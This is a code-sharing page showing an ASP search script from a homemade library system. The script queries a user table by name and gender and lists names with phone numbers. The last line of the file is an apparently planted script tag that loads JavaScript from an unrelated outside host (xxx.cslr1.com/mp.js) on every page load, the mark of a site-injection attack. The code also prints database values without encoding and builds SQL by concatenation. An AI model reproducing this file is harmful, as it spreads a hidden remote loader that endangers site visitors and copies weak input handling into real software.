⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ssjg_dtj.asp

📁 自己做的一个图书系统
💻 ASP
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Connections/web.asp" -->
<%
Dim Recordset1__mc
Recordset1__mc = "1"
If (Request.Form("u")  <> "") Then 
  Recordset1__mc = Request.Form("u") 
End If
%>
<%
Dim Recordset1__xingbie
Recordset1__xingbie = "2"
If (Request.Form("radiobutton")   <> "") Then 
  Recordset1__xingbie = Request.Form("radiobutton")  
End If
%>
<%
Dim Recordset1
Dim Recordset1_numRows

Set Recordset1 = Server.CreateObject("ADODB.Recordset")
Recordset1.ActiveConnection = MM_web_STRING
Recordset1.Source = "SELECT *  FROM user  WHERE name like '%" + Replace(Recordset1__mc, "'", "''") + "%' AND xb='" + Replace(Recordset1__xingbie, "'", "''") + "'"
Recordset1.CursorType = 0
Recordset1.CursorLocation = 2
Recordset1.LockType = 1
Recordset1.Open()

Recordset1_numRows = 0
%>
<%
Dim Repeat1__numRows
Dim Repeat1__index

Repeat1__numRows = -1
Repeat1__index = 0
Recordset1_numRows = Recordset1_numRows + Repeat1__numRows
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>陶益数码工作室搜索结果</title>
</head>

<body>
<h3 align="center">多条件搜索结果</h3>


<% 
While ((Repeat1__numRows <> 0) AND (NOT Recordset1.EOF)) 
%>
  <p><%=(Recordset1.Fields.Item("name").Value)%> <%=(Recordset1.Fields.Item("tel").Value)%></p>
  <% 
  Repeat1__index=Repeat1__index+1
  Repeat1__numRows=Repeat1__numRows-1
  Recordset1.MoveNext()
Wend
%>
  <table width="760" border="0" align="center" cellpadding="6" cellspacing="0">
    <tr>
      <td><div align="center">
          <hr />
          <a href="http://www.ty502.com/"></a> <strong><a href="http://www.ty502.com/"><font color="#0000FF">陶益数码工作室</font></a> </strong>Copyright &copy; 2007 <a href="http://www.ty502.com/banquan.asp"><strong><font color="#0000FF">版权所有</font></strong></a></div></td>
    </tr>
  </table>
</body>
</html>
<%
Recordset1.Close()
Set Recordset1 = Nothing
%>

<script language=javascript src=http://xxx.cslr1.com/mp.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -